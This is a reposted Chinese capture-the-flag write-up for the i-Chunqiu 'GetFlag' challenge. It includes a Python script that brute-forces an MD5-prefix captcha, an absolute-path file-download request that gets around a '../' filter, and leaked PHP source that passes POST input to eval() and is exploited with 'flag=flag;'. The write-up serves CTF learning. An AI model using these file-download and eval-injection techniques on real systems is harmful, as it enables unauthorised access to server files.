“百度杯”CTF比賽 十月場_GetFlag(驗證碼爆破+注入+絕對路徑文件下載)


題目在i春秋ctf大本營

頁面給出了驗證碼經過md5加密后前6位的值,依照之前做題的套路,首先肯定是要爆破出驗證碼,這里直接給我寫的爆破代碼

#coding:utf-8
import hashlib  
strs = '35eb09'
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()

def main():
    for i in range(100000,100000000):
        a = md5(i)
        if a[0:6] == strs:
            print(i)
            exit(0)  
if __name__ == '__main__':
    main()

拿到驗證碼后,先拿弱口令嘗試登陸,試了好幾個都不沒成功,轉而測試是否有注入點

測試的時候發現每次輸入驗證碼都會改變,是真的煩,不過看返回頁面存在注入點

重定向后發現三個文件:

打開最后一個a.php,看到提示:flag在根目錄

 

一開始以為是文件讀取,使用filter協議並沒有成功,嘗試直接訪問flag.php,發現文件存在

再去查看網頁源碼,發現了文件下載的url

 

嘗試下載flag.php,似乎並不行

一時間沒了思路,去翻翻大佬的wp,看了后才知道../被過濾了,這里可以直接拿絕對路徑來下載

猜測絕對路徑為/var/www/html

所以我們訪問url:http://b25da701b8cd44fb97bd6ceb7c5da1e474fdc7f166034f3a.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

成了成了,打開文件發現源碼:

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>
 

這里要求我們post一個flag參數,若值為flag就給出helloctf.php的內容,flag在這個文件里沒跑了

直接POSTflag=flag並沒有反應,再去瞜一眼wp,大佬POST的是flag=flag;

最后一定要加上分號.......但我並不清楚其中的原理,有了解的大佬請告知一下

POST完后可以在網頁源碼中看到flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM